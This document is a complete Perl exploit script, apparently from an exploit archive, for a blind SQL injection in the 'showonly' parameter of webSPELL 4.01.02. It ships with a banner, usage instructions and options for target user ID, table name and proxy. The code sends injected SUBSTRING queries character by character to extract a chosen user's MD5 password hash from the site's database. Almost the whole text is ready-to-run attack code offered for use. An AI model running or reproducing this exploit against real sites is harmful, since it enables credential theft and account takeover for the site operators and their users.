webSPELL 4.01.02 (showonly) Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print \" \\#\'#/ \"; print \" (-.-) \"; print \" -------------------oOO---(_)---OOo-------------------\"; print \" | webSPELL v4.01.02 (showonly) Remote SQL Injection |\"; print \" | (works only with register_globals = on) |\"; print \" | coded by DNX |\"; print \" -----------------------------------------------------\"; print \" [!] Bug: in news.php line 601 $showonly is unquoted, so u can inject sql code\"; print \" [!] Solution: install security fix\"; print \" [!] Usage: perl ws.pl [Host] [Path] <Options>\"; print \" [!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user\"; print \" [!] Options:\"; print \" -i [no] User-ID, default is 1\"; print \" -t [name] Changed the user table name, default is webs_user\"; print \" -p [ip:port] Proxy support\"; print \" \"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $user = 1; my $table = \"webs_user\"; my %options = (); GetOptions(\\%options, \"i=i\", \"t=s\", \"p=s\"); print \"[!] Exploiting... \"; if($options{\"i\"}) { $user = $options{\"i\"}; } if($options{\"t\"}) { $table = $options{\"t\"}; } syswrite(STDOUT, \"[!] MD5-Hash: \", 14); for(my $i = 1; $i <= 32; $i++) { my $found = 0; my $h = 48; while(!$found && $h <= 57) { if(istrue2($host, $path, $table, $user, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$found) { $h = 97; while(!$found && $h <= 122) { if(istrue2($host, $path, $table, $user, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print \" [!] Exploit done \"; sub istrue2 { my $host = shift; my $path = shift; my $table = shift; my $uid = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $url = \"http://\".$host.$path.\"index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")\"; if($options{\"p\"}) { $ua->proxy(\'http\', \"http://\".$options{\"p\"}); } my $response = $ua->get($url); my $content = $response->content; my $regexp = \"Author\"; if($content =~ /$regexp/) { return 1; } else { return 0; } }